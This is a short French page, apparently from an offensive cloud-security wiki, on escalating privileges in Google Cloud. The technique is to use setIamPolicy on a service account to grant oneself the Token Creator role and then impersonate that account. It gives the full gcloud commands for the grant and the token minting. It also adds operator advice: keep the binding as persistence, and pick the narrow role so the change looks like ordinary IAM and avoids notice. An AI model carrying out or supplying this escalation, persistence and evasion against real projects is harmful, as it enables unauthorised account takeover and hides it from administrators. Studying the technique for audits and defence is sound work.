Lorsque vous détenez iam.serviceAccounts.setIamPolicy sur un compte de service mais pas encore le droit de l'usurper, vous vous accordez roles/iam.serviceAccountTokenCreator sur ce compte, puis générez ses jetons. C'est l'escalade par setIamPolicy réduite à un seul compte de service, et elle ouvre la porte à toutes les techniques d'usurpation d'identité.
Accorder puis usurper#
gcloud iam service-accounts add-iam-policy-binding <target>@<proj>.iam.gserviceaccount.com \
--member "user:you@example.com" \
--role roles/iam.serviceAccountTokenCreator
# now mint the target's token
gcloud auth print-access-token --impersonate-service-account <target>@<proj>.iam.gserviceaccount.com
Notes d'exploitation#
serviceAccounts.setIamPolicysur un compte de service privilégié est en soi un chemin d'escalade complet via cet octroi.- La liaison est durable : elle persiste jusqu'à sa suppression, un point d'ancrage de persistance en plus d'une escalade.
- Préférez accorder le rôle restreint Token Creator plutôt qu'Owner sur le compte de service afin de rester plus proche d'un IAM d'apparence normale.
Outils#
- gcloud (
iam service-accounts add-iam-policy-binding).